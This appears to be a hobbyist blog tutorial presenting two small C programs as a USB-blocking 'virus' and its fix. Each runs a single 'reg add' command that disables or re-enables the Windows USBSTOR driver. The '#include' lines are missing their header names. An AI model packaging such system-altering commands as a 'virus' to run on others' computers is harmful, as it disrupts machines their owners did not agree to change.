Disable and Enable USB Ports at 1:50 AM

In this post I will show you, how to create a simple virus that disables/blocks the USB ports on the computer (PC). As usual I am going to use my favorite C programming language to create this virus. Anyone with a basic knowledge of C language should be able to understand the working of this virus program.

Once this virus is executed it will immediately disable all the USB ports on the computer. As a result the you’ll will not be able to use your pen drive or any other USB peripheral on the computer. You can test this virus on your own computer without any worries since I have also given a program to re-enable all the USB ports.


Code: To disable the USB ports

#include

void main()

{

system("reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\USBSTOR \/v Start \/t REG_DWORD \/d 4 \/f");

}

Save the above program as block_usb.c and compile using turbo C. Upon compilation of block_usb.c you get block_usb.exe which is a simple virus that will block (disable) all the USB ports on the computer upon execution (double click).

To test this virus, just run the block_usb.exe file and insert a USB pen drive (thumb drive). Now you can see that your pen drive will never get detected.


Code: To re-enable the USB ports

#include

void main()

{

system("reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\USBSTOR \/v Start \/t REG_DWORD \/d 3 \/f");

}

Save the above program as unblock_usb.c and compile using Turbo C. Then run the unblock_usb.exe (you need to compile unblock_usb.c) file.

Now insert the pen drive and it should get detected.